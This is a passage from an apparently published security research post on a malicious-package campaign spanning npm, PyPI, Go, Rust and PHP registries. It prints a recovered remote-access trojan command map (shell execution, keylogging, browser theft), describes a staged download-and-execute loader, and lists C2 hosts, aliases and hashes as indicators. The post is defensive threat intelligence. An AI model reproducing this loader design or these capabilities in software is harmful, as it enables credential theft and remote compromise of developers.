remote access functionality.</p><p>The clearest example is the recovered RAT command map:</p><pre><code class=\"hljs python\"><span class=\"hljs-variable language_\">self</span>.command_handlers = {\n    <span class=\"hljs-number\">1</span>: <span class=\"hljs-variable language_\">self</span>.execute_shell_command,\n    <span class=\"hljs-number\">2</span>: <span class=\"hljs-variable language_\">self</span>.handle_delete_command,\n    <span class=\"hljs-number\">3</span>: <span class=\"hljs-variable language_\">self</span>.get_keylog_buffer,\n    <span class=\"hljs-number\">4</span>: <span class=\"hljs-variable language_\">self</span>.run_browser_stealer,\n    <span class=\"hljs-number\">5</span>: <span class=\"hljs-variable language_\">self</span>.handle_upload_command,\n    <span class=\"hljs-number\">6</span>: <span class=\"hljs-variable language_\">self</span>.kill_browsers,\n    <span class=\"hljs-number\">7</span>: <span class=\"hljs-variable language_\">self</span>.deploy_anydesk,\n    <span class=\"hljs-number\">8</span>: <span class=\"hljs-variable language_\">self</span>.upload_sensitive_files,\n    <span class=\"hljs-number\">9</span>: <span class=\"hljs-variable language_\">self</span>.create_encrypted_archive,\n    <span class=\"hljs-number\">10</span>: <span class=\"hljs-variable language_\">self</span>.run_additional_module\n}\n<span class=\"hljs-comment\"># Remote shell, browser theft, keylogging, AnyDesk deployment, and more</span></code></pre><p>This package also introduces a second infrastructure cluster centered on <a href=\"https://socket.dev/pypi/package/license-utils-kit/files/0.1rc3/tar-gz/license-utils-kit-0.1rc3/license_utils_kit/custome_util.py\"  target=\"_blank\"><code>66[.]45[.]225[.]94</code></a>, and it is the clearest example of a fuller post-compromise implant chain.</p><p>The packages reuse the same <code>downloadUrl</code> workflow, archive name, extraction directory, platform-specific payload names, and the same habit of hiding malware behind normal-looking methods. Several also share Windows-specific staging logic, including a second-stage API value that resolves to <code>platform=main</code>.</p><h2 id=\"Threat-Actors'-Other-Personas\">\n  Threat Actors’ Other Personas\n  <a href=\"#Threat-Actors'-Other-Personas\" class=\"anchor\">#</a>\n</h2><h3>The <code>aokisasakidev</code> Alias</h3><p>As the investigation expanded beyond the <code>golangorg</code> GitHub account, we identified a closely related alias, <a href=\"https://socket.dev/npm/user/aokisasakidev\"  target=\"_blank\"><code>aokisasakidev</code></a>, by pivoting from package and maintainer metadata tied to the same cluster. The strongest clue came from npm: packages linked to the malicious activity, including <code>dev-log-core</code> and <code>logger-base</code>, pointed to <code>aokisasakidev</code> repository paths. That redirect overlap tightened the link between the two personas and suggested that <code>aokisasakidev</code> was not an unrelated developer account, but part of the same malicious campaign.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/3bf2f1d603d2849a8578109147c6dacb47e47cf4-1007x604.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Socket’s analysis of the npm maintainer alias <a href=\"https://socket.dev/npm/user/aokisasakidev\"  target=\"_blank\"><code>aokisasakidev</code></a> shows three debug-themed packages, <a href=\"https://socket.dev/npm/package/pino-debugger\"  target=\"_blank\"><code>pino-debugger</code></a>, <a href=\"https://socket.dev/npm/package/debug-glitz\"  target=\"_blank\"><code>debug-glitz</code></a>, and <a href=\"https://socket.dev/npm/package/debug-fmt\"  target=\"_blank\"><code>debug-fmt</code></a>, each identified as malicious. The naming pattern extends the same logging and utility impersonation theme seen elsewhere in the cluster. The packages and the maintainer account were removed by the npm security team.</em></p></figcaption>\n</figure><p>That pivot surfaced additional Go module <a href=\"https://socket.dev/go/package/github.com/aokisasakidev/mit-license-pkg\"  target=\"_blank\"><code>github[.]com/aokisasakidev/mit-license-pkg</code></a>, which provides direct code-level evidence linking the alias to the broader loader cluster. Its only Go source file, <a href=\"https://socket.dev/go/package/github.com/aokisasakidev/mit-license-pkg?section=files&version=v1.0.2&path=pkg%2Fmitlicense%2Fmitlicense.go\"  target=\"_blank\"><code>pkg/mitlicense/mitlicense.go</code></a>, does not implement meaningful license functionality. Instead, it posts to <a href=\"https://socket.dev/go/package/github.com/aokisasakidev/mit-license-pkg?section=files&version=v1.0.2&path=pkg%2Fmitlicense%2Fmitlicense.go#L22\"  target=\"_blank\"><code>apachelicense[.]vercel[.]app</code></a>, retrieves a JSON <code>downloadUrl</code>, downloads <code>ecw_update.zip</code>, rewrites Google Drive links to <code>drive.usercontent.google.com</code>, decodes an obfuscated second-stage URL, fetches another server-controlled payload, writes the decoded result to a temporary script, and executes it with <code>py.exe</code>.</p><h2 id=\"The-maxcointech1010-Alias\">\n  The <code>maxcointech1010</code> Alias\n  <a href=\"#The-maxcointech1010-Alias\" class=\"anchor\">#</a>\n</h2><p>As the investigation expanded beyond the <code>golangorg</code>, <code>aokisasakidev1</code> , and <code>aokisasakidev</code> personas, we identified another related GitHub alias: <code>maxcointech1010</code>. Unlike <code>golangorg</code>, which was closely tied to a cluster of malicious packages, <code>maxcointech1010</code> appeared to serve a different role. The account was populated with dozens of cloned or lightly modified repositories spanning AI projects, interview-themed applications, blockchain tooling, trading bots, and offensive utilities such as obfuscators, shellcode loaders, wallet tools, and browser-data theft projects. That mix suggested a broader staging and persona-building function rather than a narrow package-publishing identity.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/a3aa40d6c3a9187901eb9568a47d8dfaeb0c359a-1743x760.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>GitHub overview of the <code>maxcointech1010</code> alias shows a broad, developer-facing portfolio spanning mobile commerce, AI, and full-stack applications, a profile more consistent with persona building than with a focused maintainer identity.</em></p></figcaption>\n</figure><p>Many of the repositories preserved the names, structure, and metadata of legitimate upstream projects, making the account look like an active developer profile with wide-ranging interests across modern software themes. In practice, <code>maxcointech1010</code> looked less like a clean registry publisher and more like a cloned-project persona that could be used to host, collect, and present plausible developer content.</p><p>We also identified a closely related GitHub account, <code>maxcointech0000</code>. In several cases, repository paths and search results appeared to cross over between the two accounts, suggesting that <code>maxcointech0000</code> was likely a sibling namespace, prior alias, or otherwise operationally linked account rather than an unrelated developer profile.</p><p>Taken together, that overlap suggests that <code>maxcointech1010</code> was not a standalone GitHub identity, but part of a broader persona set. That made it operationally valuable to the threat actor: it extended the actor’s footprint beyond obviously malicious packages and into a wider GitHub presence that could support lures, code reuse, infrastructure staging, and social proof. In that sense, <code>maxcointech1010</code> appears to have served as a supporting persona, not necessarily the primary package publisher, but one that made the operation look larger, more active, and more legitimate.</p><h2 id=\"Outlook-and-Recommendations\">\n  Outlook and Recommendations\n  <a href=\"#Outlook-and-Recommendations\" class=\"anchor\">#</a>\n</h2><p>This is still a developing story. The <a href=\"https://socket.dev/supply-chain-attacks/north-korea-s-contagious-interview-campaign\"  target=\"_blank\">campaign page</a> already tracks more than 1,700 malicious packages linked to Contagious Interview, and this cluster shows the threat actors extending the same playbook across npm, PyPI, Packagist, Go Modules, and <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a>. The overlap in staging logic, infrastructure, and persona reuse suggests the threat actors can keep porting the same loader design into new registries with only minor code changes. Some packages were removed after reporting, but others remained live at the time of writing.</p><p>Treat utility packages as high risk if they contact remote infrastructure, retrieve a <code>downloadUrl</code>, rewrite cloud-storage links, download archives, decode remote content, or spawn interpreters or binaries. Pin direct and transitive dependencies, scrutinize newly published or low-download packages before adoption, and sandbox suspicious packages before they reach developer workstations or CI systems. Watch especially for unexpected child processes launched by loggers, parsers, lookup helpers, or “update” functions.</p><p>For defenders, the priority is faster clustering. Preserve registry metadata, maintainer aliases, repository links, staging domains, archive names, extraction paths, and payload names so one malicious package can be tied to adjacent personas, ecosystems, and new waves. In campaigns like this, the fastest wins come from linking repeated loader patterns before the threat actors rotate infrastructure or publish the next cluster. We will continue tracking this cluster and monitoring Contagious Interview activity as new packages and related personas emerge.</p><h2 id=\"Indicators-of-Compromise-(IoCs)\">\n  Indicators of Compromise (IoCs)\n  <a href=\"#Indicators-of-Compromise-(IoCs)\" class=\"anchor\">#</a>\n</h2><h3>Malicious npm Packages</h3><ol><li><a href=\"https://socket.dev/npm/package/dev-log-core\"  target=\"_blank\"><code>dev-log-core</code></a></li><li><a href=\"https://socket.dev/npm/package/logkitx\"  target=\"_blank\"><code>logkitx</code></a> — sleeper package; not yet weaponized</li><li><a href=\"https://socket.dev/npm/package/logger-base\"  target=\"_blank\"><code>logger-base</code></a> — sleeper package; not yet weaponized</li><li><a href=\"https://socket.dev/npm/package/pino-debugger\"  target=\"_blank\"><code>pino-debugger</code></a></li><li><a href=\"https://socket.dev/npm/package/debug-fmt\"  target=\"_blank\"><code>debug-fmt</code></a></li><li><a href=\"https://socket.dev/npm/package/debug-glitz\"  target=\"_blank\"><code>debug-glitz</code></a></li></ol><h3>Malicious PyPI Packages</h3><ol><li><a href=\"https://socket.dev/pypi/package/logutilkit\"  target=\"_blank\"><code>logutilkit</code></a></li><li><a href=\"https://socket.dev/pypi/package/apachelicense\"  target=\"_blank\"><code>apachelicense</code></a></li><li><a href=\"https://osv.dev/vulnerability/MAL-2026-2244\"  target=\"_blank\"><code>fluxhttp</code></a></li><li><a href=\"https://socket.dev/pypi/package/license-utils-kit\"  target=\"_blank\"><code>license-utils-kit</code></a></li></ol><h3>Malicious Rust Crate</h3><ol><li><a href=\"https://socket.dev/cargo/package/logtrace\"  target=\"_blank\"><code>logtrace</code></a></li></ol><h3>Malicious PHP Package</h3><ol><li><a href=\"https://socket.dev/composer/package/golangorg/logkit\"  target=\"_blank\"><code>golangorg/logkit</code></a></li></ol><h3>Malicious Go Modules</h3><ol><li><a href=\"https://socket.dev/go/package/github.com/golangorg/formstash\"  target=\"_blank\"><code>github[.]com/golangorg/formstash</code></a></li><li><a href=\"https://socket.dev/go/package/github.com/aokisasakidev/mit-license-pkg\"  target=\"_blank\"><code>github[.]com/aokisasakidev/mit-license-pkg</code></a></li></ol><h3>C2 and Delivery Endpoints</h3><ul><li><code>apachelicense[.]vercel[.]app</code></li><li><code>ngrok-free[.]vercel[.]app</code></li><li><code>logkit.onrender[.]com</code></li><li><code>logkit-tau[.]vercel[.]app</code></li><li><code>66[.]45[.]225[.]94</code></li></ul><h3>Google Drive Delivery Patterns</h3><ul><li><code>drive[.]google[.]com/file/d/&lt;file_id&gt;</code></li><li><code>drive[.]usercontent[.]google[.]com/download?id=&lt;file_id&gt;&amp;export=download&amp;confirm=t</code></li></ul><h3>Threat Actor’s Identifiers</h3><p><strong>Aliases</strong></p><ul><li><code>aokisasakidev1</code></li><li><code>aokisasakidev</code></li><li><code>golangorg</code></li></ul><p><strong>Registration Emails</strong></p><ul><li><code>aokisasaki1122@gmail[.]com</code></li><li><code>shiningup1996@gmail[.]com</code></li></ul><p><strong>GitHub Accounts and GitHub Collaborators</strong></p><ul><li><code>https://github[.]com/golangorg</code></li><li><code>https://github[.]com/aokisasakidev</code></li><li><code>https://github[.]com/maxcointech1010</code></li><li><code>https://github[.]com/maxcointech0000</code></li></ul><p><strong>GitHub Repositories</strong></p><ol><li><code>formstash</code></li><li><code>logutilkit</code></li><li><code>dev-log</code></li><li><code>log-base</code></li><li><code>logger-base</code></li><li><code>pino-debugger</code></li><li><code>mit-license-pkg</code></li></ol><h3>Filenames and Execution Artifacts</h3><ul><li><code>systemd-resolved</code></li><li><code>com.apple.systemevents</code></li><li><code>ecw_update.zip</code></li><li><code>start.py</code></li><li><code>py.exe</code></li><li><code>a91c2b7f-9d5f-487e-9e6f-63d1a42bf3db.tmp</code></li></ul><h3>Temporary Subdirectory Name</h3><ul><li><code>410BB449A-72C6-4500-9765-ACD04JBV827V32V</code></li></ul><h3>SHA-256 Hashes</h3><ul><li><code>9a541dffb7fc18dc71dbc8523ec6c3a71c224ffeb518ae3a8d7d16377aebee58</code> — Linux</li><li><code>bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd</code> — macOS</li><li><code>7c5adef4b5aee7a4aa6e795a86f8b7d601618c3bc003f1326ca57d03ec7d6524</code> — Windows</li></ul><h2 id=\"MITRE-ATTandCK\">\n  MITRE ATT&amp;CK\n  <a href=\"#MITRE-ATTandCK\" class=\"anchor\">#</a>\n</h2><ul><li>T1195.001 — Compromise Software Dependencies and Development Tools</li><li>T1608.001 — Stage Capabilities: Upload Malware</li><li>T1036.005 — Masquerading: Match Legitimate Resource Name or Location</li><li>T1059.007 — Command and Scripting Interpreter: JavaScript</li><li>T1059.006 — Command and Scripting Interpreter: Python</li><li>T1027.013 — Obfuscated Files or Information: Encrypted/Encoded File</li><li>T1140 — Deobfuscate/Decode Files or Information</li><li>T1105 — Ingress Tool Transfer</li><li>T1071.001 — Application Layer Protocol: Web Protocols</li><li>T1005 — Data from Local System</li><li>T1082 — System Information Discovery</li><li>T1083 — File and Directory Discovery</li><li>T1217 — Browser Information Discovery</li><li>T1555.003 — Credentials from Password Stores: Credentials from Web Browsers</li><li>T1555.005 — Credentials from Password Stores: Password Managers</li><li>T1119 — Automated Collection</li><li>T1041 — Exfiltration Over C2 Channel</li><li>T1657 — Financial Theft</li></ul>","summary":"Malicious packages published to npm, PyPI, Go Modules, crates.io, and Packagist impersonate developer tooling to fetch staged malware, steal credentials and wallets, and enable remote access.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/6efebde4c804a1577ec1afca954498fb5aca24c5-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/6efebde4c804a1577ec1afca954498fb5aca24c5-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-07T21:36:45.870Z","author":{"name":"Kirill Boychenko"},"tags":["Research","Security News"]}]}